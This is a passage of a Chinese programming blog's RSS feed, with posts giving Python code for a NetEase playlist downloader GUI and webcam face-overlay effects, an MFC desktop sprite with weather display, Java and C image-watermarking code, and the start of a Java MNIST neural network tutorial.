label = Label(root, text=&amp;quot;下载路径&amp;quot;, font=('宋体', 12))
label.grid(row=1, column=0)
_path = Entry(root, font=('微软雅黑', 12))
_path.grid(row=1, column=1, sticky=E+W)
msg = Label(root, text=&amp;quot;未进行下载&amp;quot;, font=('宋体', 12))
msg.grid(row=2, columnspan=2)
text = Listbox(root, font=(&amp;quot;微软雅黑&amp;quot;, 12), width=45, height=23)
text.grid(row=3, columnspan=2)
button = Button(root, text=&amp;quot;开始下载&amp;quot;, font=(&amp;quot;微软雅黑&amp;quot;, 10), command=download)
button.grid(row=4, column=0)
button1 = Button(root, text=&amp;quot;退出&amp;quot;, font=(&amp;quot;微软雅黑&amp;quot;, 10), command=root.quit)
button1.grid(row=4, column=1)
msgs = Label(root, text=&amp;quot;此系统仅供个人学习、研究之用，禁止非法传播或用于商业用途，&amp;quot;, font=('宋体', 8))
msgs.grid(row=5, columnspan=2)
msgs = Label(root, text=&amp;quot;请在下载24小时内删除&amp;quot;, font=('宋体', 8))
msgs.grid(row=6, columnspan=2)

entry.insert(0, 'https://music.163.com/#/playlist?id=2487763362')
_path.insert(0, 'E:\\my\\music\\J·Fla\\')

mainloop()
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Thu, 11 Apr 2019 08:06:20 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/6.html</comments>
    </item>
    <item>
      <title>Python 人脸识别（加圣诞帽等）</title>
      <link>https://www.baby7blog.com/myBlog/5.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554969011460048157.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Python 人脸识别（加圣诞帽等）&lt;/h1&gt;

&lt;h2&gt;一、 截图&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554969011460048157.png" alt="结果截图" /&gt;&lt;/p&gt;
&lt;h2&gt;二、代码&lt;/h2&gt;
&lt;p&gt;Main.py（循环调用摄像头获取图像进行人脸识别，之后调用Image_processing.py进行处理）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# coding:utf8
import cv2
import image_processing


# 识别
def recognition(image, focus):
    # 创建 classifier
    path = &amp;quot;D:/soft/Anaconda/Lib/site-packages/cv2/data/&amp;quot;
    clf = cv2.CascadeClassifier(path + focus + &amp;quot;.xml&amp;quot;)
    # 设定灰度
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    # 识别
    faces = clf.detectMultiScale(
        gray,
        scaleFactor=1.1,
        minNeighbors=10,
        minSize=(30, 30),
        flags=cv2.CASCADE_SCALE_IMAGE
    )
    # 给图像加点东西
    for (x, y, w, h) in faces:
        # cv2.circle(image, (x+w//2, y+h//2), w//2, (255, 0, 0), 2)     # 圆
        # cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 2)      # 矩形
        # image = image_processing.image_christmas_hat(image, x, y, w, h)  # 加个圣诞帽
        image = image_processing.image_face(image, x, y, w, h)  # 换个笑脸
        # image = image_processing.image_Kumamon(image, x, y, w, h)  # 换个熊本熊
    return image


if __name__ == &amp;quot;__main__&amp;quot;:
    cap = cv2.VideoCapture(0)               # 从摄像头中取得视频
    # focus = &amp;quot;haarcascade_eye&amp;quot;             # 眼睛识别
    # focus = &amp;quot;haarcascade_fullbody&amp;quot;        # 全身识别
    focus = &amp;quot;haarcascade_frontalface_alt&amp;quot;   # 人脸识别
    while cap.isOpened():
        ret, frame = cap.read()             # 读取帧摄像头
        if ret is True:
            # 输出当前帧
            frame = recognition(frame, focus)
            frame = cv2.resize(frame, (0, 0), fx=1.5, fy=1.5, interpolation=cv2.INTER_NEAREST)
            cv2.imshow('Face recognition', frame)
            # 键盘按 Q 退出
            if (cv2.waitKey(1) &amp;amp; 0xFF) == ord('q'):
                break
        else:
            break
    # 释放资源
    cap.release()
    cv2.destroyAllWindows()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Image_processing.py（根据人脸所在进行图像叠加，可以做出加圣诞帽等好玩的）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# coding:utf8
import cv2


# 加个圣诞帽
def image_christmas_hat(img, x, y, w, h):
    hat = cv2.imread('ChristmasHat.jpg')  # 帽子透明图片
    hat = cv2.resize(hat, (0, 0), fx=0.2, fy=0.2, interpolation=cv2.INTER_NEAREST)  # 稍微调整下大小
    y = y-(h*3//4)
    _hat = cv2.resize(hat, (w, h))
    rows, cols, channels = _hat.shape
    r, c, cs = img.shape
    if y+rows &amp;gt; r or x+cols &amp;gt; c:
        return img
    roi = img[y:(y+rows), x:(x+cols)]   # 在原始图像中截取帽子图像大小的部分
    img2gray = cv2.cvtColor(_hat, cv2.COLOR_BGR2GRAY)    # 将logo图像灰度化
    ret, mask = cv2.threshold(img2gray, 250, 255, cv2.THRESH_BINARY)    # 将帽子灰度图二值化，将得到的图像赋值给mask，帽子部分的值为255，白色
    mask_inv = cv2.bitwise_not(mask)    # 将mask按位取反，即白变黑，黑变白
    img1_bg = cv2.bitwise_and(roi, roi, mask=mask)  # 将原始图像中截取的部分做处理，mask中黑色部分按位与运算，即保留黑色部分，保留除帽子位置外的部分
    img2_fg = cv2.bitwise_and(_hat, _hat, mask=mask_inv)    # 将帽子图像中，mask_inv部分按位与运算，即保留黑色部分，保留logo
    dst = cv2.add(img1_bg, img2_fg)     # 图像相加
    img[y:(y+rows), x:(x+cols)] = dst   # 图像替换
    return img


# 替换人脸为笑哭表情
def image_face(img, x, y, w, h):
    face = cv2.imread('xiaoku.jpg')  # 笑哭脸透明图片
    face = cv2.resize(face, (0, 0), fx=0.2, fy=0.2, interpolation=cv2.INTER_NEAREST)  # 稍微调整下大小
    _face = cv2.resize(face, (w, h))
    rows, cols, channels = _face.shape
    r, c, cs = img.shape
    if y+rows &amp;gt; r or x+cols &amp;gt; c:
        return img
    roi = img[y:(y+rows), x:(x+cols)]   # 在原始图像中截取表情图像大小的部分
    img2gray = cv2.cvtColor(_face, cv2.COLOR_BGR2GRAY)    # 将logo图像灰度化
    ret, mask = cv2.threshold(img2gray, 250, 255, cv2.THRESH_BINARY)    # 将表情灰度图二值化，将得到的图像赋值给mask，表情部分的值为255，白色
    mask_inv = cv2.bitwise_not(mask)    # 将mask按位取反，即白变黑，黑变白
    img1_bg = cv2.bitwise_and(roi, roi, mask=mask)  # 将原始图像中截取的部分做处理，mask中黑色部分按位与运算，即保留黑色部分，保留除表情位置外的部分
    img2_fg = cv2.bitwise_and(_face, _face, mask=mask_inv)    # 将表情图像中，mask_inv部分按位与运算，即保留黑色部分，保留logo
    dst = cv2.add(img1_bg, img2_fg)     # 图像相加
    img[y:(y+rows), x:(x+cols)] = dst   # 图像替换
    return img


# 替换为熊本熊
def image_Kumamon(img, x, y, w, h):
    Kumamon = cv2.imread('Kumamon.jpg')  # 熊本熊透明图片
    Kumamon = cv2.resize(Kumamon, (0, 0), fx=0.2, fy=0.2, interpolation=cv2.INTER_NEAREST)  # 稍微调整下大小
    x = x - w//2
    w = w * 2
    h = h * 2
    _Kumamon = cv2.resize(Kumamon, (w, h))
    rows, cols, channels = _Kumamon.shape
    r, c, cs = img.shape
    if y+rows &amp;gt; r or x+cols &amp;gt; c:
        return img
    roi = img[y:(y+rows), x:(x+cols)]   # 在原始图像中截取熊本熊图像大小的部分
    img2gray = cv2.cvtColor(_Kumamon, cv2.COLOR_BGR2GRAY)    # 将logo图像灰度化
    ret, mask = cv2.threshold(img2gray, 252, 255, cv2.THRESH_BINARY)    # 将熊本熊灰度图二值化，将得到的图像赋值给mask，熊本熊部分的值为255，白色
    mask_inv = cv2.bitwise_not(mask)    # 将mask按位取反，即白变黑，黑变白
    img1_bg = cv2.bitwise_and(roi, roi, mask=mask)  # 将原始图像中截取的部分做处理，mask中黑色部分按位与运算，即保留黑色部分，保留除熊本熊位置外的部分
    img2_fg = cv2.bitwise_and(_Kumamon, _Kumamon, mask=mask_inv)    # 将熊本熊图像中，mask_inv部分按位与运算，即保留黑色部分，保留logo
    dst = cv2.add(img1_bg, img2_fg)     # 图像相加
    img[y:(y+rows), x:(x+cols)] = dst   # 图像替换
    return img
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>人工智能</category>
      <pubDate>Thu, 11 Apr 2019 07:54:49 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/5.html</comments>
    </item>
    <item>
      <title>MFC桌面精灵（不规则窗体，天气预报）</title>
      <link>https://www.baby7blog.com/myBlog/4.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968794740068792.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;MFC桌面精灵（不规则窗体，天气预报）&lt;/h1&gt;

&lt;p&gt;使用C++,采用MFC开发，启动后桌面会出现一个小人（《家庭教师》动漫中的里包恩）（此处是不规则窗体的应用），左键可以拖动，点击胸前的奶嘴可以弹出快捷启动页面，可以启动某些路径下的资源，点击右下角会弹出天气预报界面（此处采用天气API，详情见源码），包含今明天气温度和天气图标，程序是早年写的，代码风格可能不太好，见谅。&lt;/p&gt;
&lt;p&gt;另：需要源码的在下方留言邮箱，我看见就会发过去哦&lt;/p&gt;
&lt;p&gt;以下是截图：&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968794740068792.png" alt="里包恩截图" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968794740079606.png" alt="主界面" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968794740007945.png" alt="天气截图" /&gt;&lt;/p&gt;
&lt;h2&gt;一、MFC不规则窗口的实现方法&lt;/h2&gt;
&lt;p&gt;首先设置对话框为无边框，然后自定义一个函数SteRegion实现将窗体不规则化（具体为不显示图片中特定像素，这里为黑色）并在OnInitDialog中调用，在OnPaint函数中设置对话框大小和位置，在OnCtlColor函数中画背景，最后在OnLButtonDown中发送一个消息实现单击拖动。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460497404037810.jpg" alt="里包恩" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460521982050800.jpg" alt="代码块1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460531076071227.jpg" alt="代码块2" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460537795048313.jpg" alt="代码块3" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460543842029993.jpg" alt="代码块4" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460548310030507.jpg" alt="代码块5" /&gt;&lt;/p&gt;
&lt;h2&gt;二、MFC天气预报的实现方法&lt;/h2&gt;
&lt;p&gt;第一步：通过CInternetSession类获得solson网的对应的城市天气信息。&lt;/p&gt;
&lt;p&gt;第二步：将获得的信息转为字符串。&lt;/p&gt;
&lt;p&gt;第三步：解析json格式的字符串，提取需要的信息。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460638044022016.jpg" alt="天气" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460643919036151.jpg" alt="代码块1" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460650982090345.jpg" alt="代码块2" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190428/1556460656091079735.jpg" alt="代码块3" /&gt;&lt;/p&gt;
&lt;p&gt;需要源码的在下方留言邮箱，我看见就会发过去哦&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Thu, 11 Apr 2019 07:48:49 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/4.html</comments>
    </item>
    <item>
      <title>Java实现打水印（文字水印，图片水印）</title>
      <link>https://www.baby7blog.com/myBlog/3.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968461316046387.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Java实现打水印（文字水印，图片水印）&lt;/h1&gt;

&lt;h2&gt;一、 程序运行截图&lt;/h2&gt;
&lt;p&gt;文字水印&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968461316046387.png" alt="文字水印" /&gt;&lt;/p&gt;
&lt;p&gt;图片水印&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968461316037112.png" alt="图片水印" /&gt;&lt;/p&gt;
&lt;h2&gt;二、 加工结果&lt;/h2&gt;
&lt;p&gt;文字水印结果&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968461316008862.jpeg" alt="文字水印结果" /&gt;&lt;/p&gt;
&lt;p&gt;图片水印结果&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554968461316029270.jpeg" alt="图片水印结果" /&gt;&lt;/p&gt;
&lt;h2&gt;三、 程序代码&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import java.awt.AlphaComposite;
import java.awt.Color;
import java.awt.Font;
import java.awt.Graphics2D;
import java.awt.Image;
import java.awt.RenderingHints;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

import javax.imageio.ImageIO;
import javax.swing.ImageIcon;

public class ImageRemarkUtil {

    private float alpha = 0.8f;//水印透明度
    private int positionWidth = 100;//水印横向位置
    private int positionHeight = 100;//水印纵向位置
    private Font font = new Font(&amp;quot;宋体&amp;quot;, Font.BOLD, 72);//水印文字字体
    private Color color = Color.red;//水印文字颜色
    
    public ImageRemarkUtil(float alpha,int positionWidth,int positionHeight,Font font,Color color){
        this.alpha = alpha;
        this.positionWidth = positionWidth;
        this.positionHeight = positionHeight;
        this.font = font;
        this.color = color;
    }
    
    /**
     * 给图片添加水印图片
     * 
     * @param iconPath
     *            水印图片路径
     * @param srcImgPath
     *            源图片路径
     * @param targerPath
     *            目标图片路径
     * @param iconPath
     *            水印图片路径
     * @param srcImgPath
     *            源图片路径
     * @param targerPath
     *            目标图片路径
     * @param degree
     *            水印图片旋转角度
     */
    public void markImageByIcon(String iconPath, String srcImgPath,
            String targerPath, Integer degree) {
        OutputStream os = null;
        try {
            Image srcImg = ImageIO.read(new File(srcImgPath));
            BufferedImage buffImg = new BufferedImage(srcImg.getWidth(null),
                    srcImg.getHeight(null), BufferedImage.TYPE_INT_RGB);
            // 1、得到画笔对象
            Graphics2D g = buffImg.createGraphics();
            // 2、设置对线段的锯齿状边缘处理
            g.setRenderingHint(RenderingHints.KEY_INTERPOLATION,
                    RenderingHints.VALUE_INTERPOLATION_BILINEAR);
            g.drawImage(
                    srcImg.getScaledInstance(srcImg.getWidth(null),
                            srcImg.getHeight(null), Image.SCALE_SMOOTH), 0, 0,
                    null);
            // 3、设置水印旋转
            if (null != degree) {
                g.rotate(Math.toRadians(degree),
                        (double) buffImg.getWidth() / 2,
                        (double) buffImg.getHeight() / 2);
            }
            // 4、水印图片的路径 水印图片一般为gif或者png的，这样可设置透明度
            ImageIcon imgIcon = new ImageIcon(iconPath);
            // 5、得到Image对象。
            Image img = imgIcon.getImage();
            g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_ATOP,
                    alpha));
            // 6、水印图片的位置
            g.drawImage(img, positionWidth, positionHeight, null);
            g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_OVER));
            // 7、释放资源
            g.dispose();
            // 8、生成图片
            os = new FileOutputStream(targerPath);
            ImageIO.write(buffImg, &amp;quot;JPG&amp;quot;, os);
            System.out.println(&amp;quot;图片完成添加水印图片&amp;quot;);
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (null != os)
                    os.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    /**
     * 给图片添加水印文字
     * @param logoText
     * 			    水印文字
     * @param srcImgPath
     *            源图片路径
     * @param targerPath
     *            目标图片路径
     * @param degree
     *            水印图片旋转角度
     */
    public void markImageByText(String logoText, String srcImgPath,
            String targerPath, Integer degree) {
        InputStream is = null;
        OutputStream os = null;
        try {
            // 1、源图片
            Image srcImg = ImageIO.read(new File(srcImgPath));
            BufferedImage buffImg = new BufferedImage(srcImg.getWidth(null),
                    srcImg.getHeight(null), BufferedImage.TYPE_INT_RGB);
            // 2、得到画笔对象
            Graphics2D g = buffImg.createGraphics();
            // 3、设置对线段的锯齿状边缘处理
            g.setRenderingHint(RenderingHints.KEY_INTERPOLATION,
                    RenderingHints.VALUE_INTERPOLATION_BILINEAR);
            g.drawImage(
                    srcImg.getScaledInstance(srcImg.getWidth(null),
                            srcImg.getHeight(null), Image.SCALE_SMOOTH), 0, 0,
                    null);
            // 4、设置水印旋转
            if (null != degree) {
                g.rotate(Math.toRadians(degree),
                        (double) buffImg.getWidth() / 2,
                        (double) buffImg.getHeight() / 2);
            }
            // 5、设置水印文字颜色
            g.setColor(color);
            // 6、设置水印文字Font
            g.setFont(font);
            // 7、设置水印文字透明度
            g.setComposite(AlphaComposite.getInstance(AlphaComposite.SRC_ATOP,
                    alpha));
            // 8、第一参数-&amp;gt;设置的内容，后面两个参数-&amp;gt;文字在图片上的坐标位置(x,y)
            g.drawString(logoText, positionWidth, positionHeight);
            // 9、释放资源
            g.dispose();
            // 10、生成图片
            os = new FileOutputStream(targerPath);
            ImageIO.write(buffImg, &amp;quot;JPG&amp;quot;, os);

            System.out.println(&amp;quot;图片完成添加水印文字&amp;quot;);

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                if (null != is)
                    is.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
            try {
                if (null != os)
                    os.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>桌面技术</category>
      <pubDate>Thu, 11 Apr 2019 07:43:20 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/3.html</comments>
    </item>
    <item>
      <title>C语言打水印</title>
      <link>https://www.baby7blog.com/myBlog/2.html</link>
      <description>&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190411/1554967637217065347.png" width="800"&gt;&lt;br&gt;
&lt;h1&gt;C语言打水印&lt;/h1&gt;

&lt;h2&gt;一、预览&lt;/h2&gt;
&lt;p&gt;1.准备两张图片&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555127278572021815.png" alt="准备两张图片" /&gt;&lt;/p&gt;
&lt;p&gt;2.合成结果&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190413/1555127339946010969.png" alt="合成结果" /&gt;&lt;/p&gt;
&lt;h2&gt;二、代码&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-c"&gt;#include &amp;lt;Windows.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
 
unsigned char *pBmpBuf;//读入图像数据的指针
int bmpWidth;//图像的宽
int bmpHeight;//图像的高
RGBQUAD *pColorTable;//颜色表指针
int biBitCount;//图像类型，每像素位数
char readPath1[] = &amp;quot;D:/project/devcpp/img/input1.BMP&amp;quot;;
char readPath2[]=&amp;quot;D:/project/devcpp/img/input2.BMP&amp;quot;;//读入指定BMP文件进内存
char writePath[]=&amp;quot;D:/project/devcpp/img/output.BMP&amp;quot;;
 
//读取图片 
int readBmp(char *bmpName){
    FILE *fp=fopen(bmpName,&amp;quot;rb&amp;quot;);//二进制读方式打开指定的图像文件
    if(fp==0){
       printf(&amp;quot;打水印失败\n&amp;quot;);
       return 0;
    }
 
    fseek(fp, sizeof(BITMAPFILEHEADER),0);//跳过位图文件头结构BITMAPFILEHEADER
    BITMAPINFOHEADER head;  //定义位图信息头结构变量，读取位图信息头进内存，存放在变量head中
    fread(&amp;amp;head, sizeof(BITMAPINFOHEADER), 1,fp); 
 
    bmpWidth = head.biWidth;
    bmpHeight = head.biHeight;
    biBitCount = head.biBitCount;//获取图像宽、高、每像素所占位数等信息
    int lineByte=(bmpWidth * biBitCount/8+3)/4*4;//定义变量，计算图像每行像素所占的字节数（必须是4的倍数）
    
    if(biBitCount==8){//灰度图像有颜色表，且颜色表表项为256
       pColorTable=malloc(sizeof(RGBQUAD)*256); //申请颜色表所需要的空间，读颜色表进内存
       fread(pColorTable,sizeof(RGBQUAD),256,fp);
    }
   pBmpBuf=malloc(sizeof(unsigned char)*lineByte * bmpHeight);//申请位图数据所需要的空间，读位图数据进内存
    fread(pBmpBuf,1,lineByte * bmpHeight,fp);
    fclose(fp);//关闭文件
    return 1;
}
 
//保存图片 
int saveBmp(char *bmpName, unsigned char *imgBuf, int width, int height, int biBitCount, RGBQUAD *pColorTable){
    if(!imgBuf)//如果位图数据指针为0，则没有数据传入，函数返回
       return 0;
    int colorTablesize=0;//颜色表大小，以字节为单位，灰度图像颜色表为1024字节，彩色图像颜色表大小为0
    if(biBitCount==8)
       colorTablesize=1024;
    int lineByte=(width * biBitCount/8+3)/4*4;//待存储图像数据每行字节数为4的倍数
    FILE *fp=fopen(bmpName,&amp;quot;wb&amp;quot;);//以二进制写的方式打开文件
    if(fp==0){
       printf(&amp;quot;!!!!\n&amp;quot;);
       return 0;
    }
       
    BITMAPFILEHEADER fileHead;//申请位图文件头结构变量，填写文件头信息
    fileHead.bfType = 0x4D42;//bmp类型
    fileHead.bfSize= sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+colorTablesize+lineByte*height;//bfSize是图像文件4个组成部分之和
    fileHead.bfReserved1 = 0;
    fileHead.bfReserved2 = 0;
    fileHead.bfOffBits=54+colorTablesize;//bfOffBits是图像文件前3个部分所需空间之和
    fwrite(&amp;amp;fileHead, sizeof(BITMAPFILEHEADER),1, fp);//写文件头进文件
    
    BITMAPINFOHEADER head; //申请位图信息头结构变量，填写信息头信息
    head.biBitCount=biBitCount;
    head.biClrImportant=0;
    head.biClrUsed=0;
    head.biCompression=0;
    head.biHeight=height;
    head.biPlanes=1;
    head.biSize=40;
    head.biSizeImage=lineByte*height;
    head.biWidth=width;
    head.biXPelsPerMeter=0;
    head.biYPelsPerMeter=0;
    fwrite(&amp;amp;head, sizeof(BITMAPINFOHEADER),1, fp);//写位图信息头进内存
    
    if(biBitCount==8)//如果灰度图像，有颜色表，写入文件 
       fwrite(pColorTable, sizeof(RGBQUAD),256, fp);
    fwrite(imgBuf, height*lineByte, 1, fp);//写位图数据进文件
    fclose(fp);//关闭文件
     return 1;
}
 
 
int main(){
    int o=0;//RGB计数器 
    printf(&amp;quot;BMP文件录入位置：\n%s\n%s\n\n&amp;quot;,readPath1,readPath2);
    readBmp(readPath1);
    unsigned char *pBmpBuf1=pBmpBuf;;//读入图像数据的指针
    int bmpWidth1=bmpWidth;//图像的宽
    int bmpHeight1=bmpHeight;//图像的高
    RGBQUAD *pColorTable1=pColorTable;//颜色表指针
    int biBitCount1=biBitCount;//图像类型，每像素位数
    readBmp(readPath2);
    unsigned char *pBmpBuf2=pBmpBuf;;//读入图像数据的指针
    int bmpWidth2=bmpWidth;//图像的宽
    int bmpHeight2=bmpHeight;//图像的高
    RGBQUAD *pColorTable2=pColorTable;//颜色表指针
    int biBitCount2=biBitCount;//图像类型，每像素位数
    printf(&amp;quot;第一张BMP:%d位 第二张BMP:%d位\n&amp;quot;,biBitCount1,biBitCount2);
 
    //循环变量，图像的坐标
    int i,j;
    //每行字节数
    int lineByte1=(bmpWidth1*biBitCount1/8+3)/4*4;
    int lineByte2=(bmpWidth2*biBitCount2/8+3)/4*4;
     //循环变量，针对彩色图像，遍历每像素的三个分量
    int k;
    if(biBitCount1==8 &amp;amp;&amp;amp; biBitCount2==8){//对于灰度图像
       for(i=0;i&amp;lt;bmpHeight2;i++){
           for(j=0;j&amp;lt;bmpWidth2;j++){
              if(*(pBmpBuf2+i*lineByte2+j)!=0){
                  *(pBmpBuf1+i*lineByte1+j)=*(pBmpBuf2+i*lineByte2+j);
              }
           }
       }   
    }
    else if(biBitCount1==24 &amp;amp;&amp;amp; biBitCount2==24){//彩色图像
       for(i=0;i&amp;lt;bmpHeight2;i++){
           for(j=0;j&amp;lt;bmpWidth2;j++){ 
              for(k=0,o=0;k&amp;lt;3;k++){
                  if(*(pBmpBuf2+i*lineByte2+j*3+k)&amp;gt;5){//每像素RGB三个分量分别置0才变
                     o++;
                  }
                  if(o==3){
                     *(pBmpBuf1+i*lineByte1+j*3+0)=*(pBmpBuf2+i*lineByte2+j*3+0);
                     *(pBmpBuf1+i*lineByte1+j*3+1)=*(pBmpBuf2+i*lineByte2+j*3+1);
                     *(pBmpBuf1+i*lineByte1+j*3+2)=*(pBmpBuf2+i*lineByte2+j*3+2);
                  }
              }
           }
       }
    }
 
    if(saveBmp(writePath, pBmpBuf1, bmpWidth1, bmpHeight1, biBitCount1, pColorTable1)){
       printf(&amp;quot;打水印成功\n\n&amp;quot;);
       printf(&amp;quot;BMP文件保存位置：\n%s\n&amp;quot;,writePath);
    }
    else{
       printf(&amp;quot;打水印失败&amp;quot;);
    } 
     //清除缓冲区，pBmpBuf和pColorTable是全局变量，在文件读入时申请的空间
    free(pBmpBuf1);
    free(pBmpBuf2);
    if(biBitCount1==8)
       free(pColorTable1);
    if(biBitCount2==8)
       free(pColorTable2);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>桌面技术</category>
      <pubDate>Thu, 11 Apr 2019 07:32:21 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/2.html</comments>
    </item>
    <item>
      <title>Java实现BP神经网络MNIST手写数字识别</title>
      <link>https://www.baby7blog.com/myBlog/1.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fq1uNYcAqQsPELjoG808WFjE0_oL" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Java实现BP神经网络MNIST手写数字识别&lt;/h1&gt;

&lt;pre&gt;&lt;code class="language-code"&gt;如果需要源码，请在下方评论区留下邮箱，我看到就会发过去

着急的话可以加我的微信或者qq，在右边侧边栏的社交那一栏，鼠标放上去就可以扫码加我了
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;一、神经网络的构建&lt;/h2&gt;
&lt;h3&gt;(1)：构建神经网络层次结构&lt;/h3&gt;
&lt;p&gt;由训练集数据可知，手写输入的数据维数为784维，而对应的输出结果为分别为0-9的10个数字，所以根据训练集的数据可知，在构建的神经网络的输入层的神经元的节点个数为784个，而对应的输出层的神经元个数为10个。隐层可选择单层或多层。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/ueditor/jsp/upload/image/20190410/1554900655848019877.png" alt="神经网络模式图" /&gt;&lt;/p&gt;
&lt;h3&gt;(2)：确定隐层中的神经元的个数&lt;/h3&gt;
&lt;p&gt;因为对于隐层的神经元个数的确定目前还没有什么比较完美的解决方案，所以对此经过自己查阅书籍和上网查阅资料，有以下的几种经验方式来确定隐层的神经元的个数，方式分别如下所示：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;一般取(输入+输出)/2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;隐层一般小于输入层&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;3）（输入层+1）/2&lt;/p&gt;
&lt;ol start="4"&gt;
&lt;li&gt;
&lt;p&gt;log(输入层)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;log(输入层)+10&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;实验得到以第五种的方式得到的测试结果相对较高。&lt;/p&gt;
&lt;h3&gt;(3)：设置神经元的激活函数&lt;/h3&gt;
&lt;p&gt;在《机器学习》的书中介绍了两种比较常用的函数，分别是阶跃函数和Sigmoid函数。最后自己采用了后者函数。&lt;/p&gt;
&lt;h3&gt;(4)：初始化输入层和隐层之间神经元间的权值信息&lt;/h3&gt;
&lt;p&gt;采用的是使用简单的随机数分配的方法,并且两层之间的神经元权值是通过二维数组进行保留，数组的索引就代表着两层对应的神经元的索引信息&lt;/p&gt;
&lt;h3&gt;(5)：初始化隐层和输出层之间神经元间的权值信息&lt;/h3&gt;
&lt;p&gt;采用的是使用简单的随机数分配的方法,并且两层之间的神经元权值是通过二维数组进行保留，数组的索引就代表着两层对应的神经元的索引信息&lt;/p&gt;
&lt;h3&gt;(6)：读取CSV测试集表格信息，并加载到程序用数据保存，其中将每个维数的数据都换成了0和1的二进制数进行处理。&lt;/h3&gt;
&lt;h3&gt;(7)：读取CSV测试集结果表格信息，并加载到程序用数据保存&lt;/h3&gt;
&lt;h3&gt;(8)：计算输入层与隐层中隐层神经元的阈值&lt;/h3&gt;
&lt;p&gt;这里主要是采用了下面的方法：&lt;/p&gt;
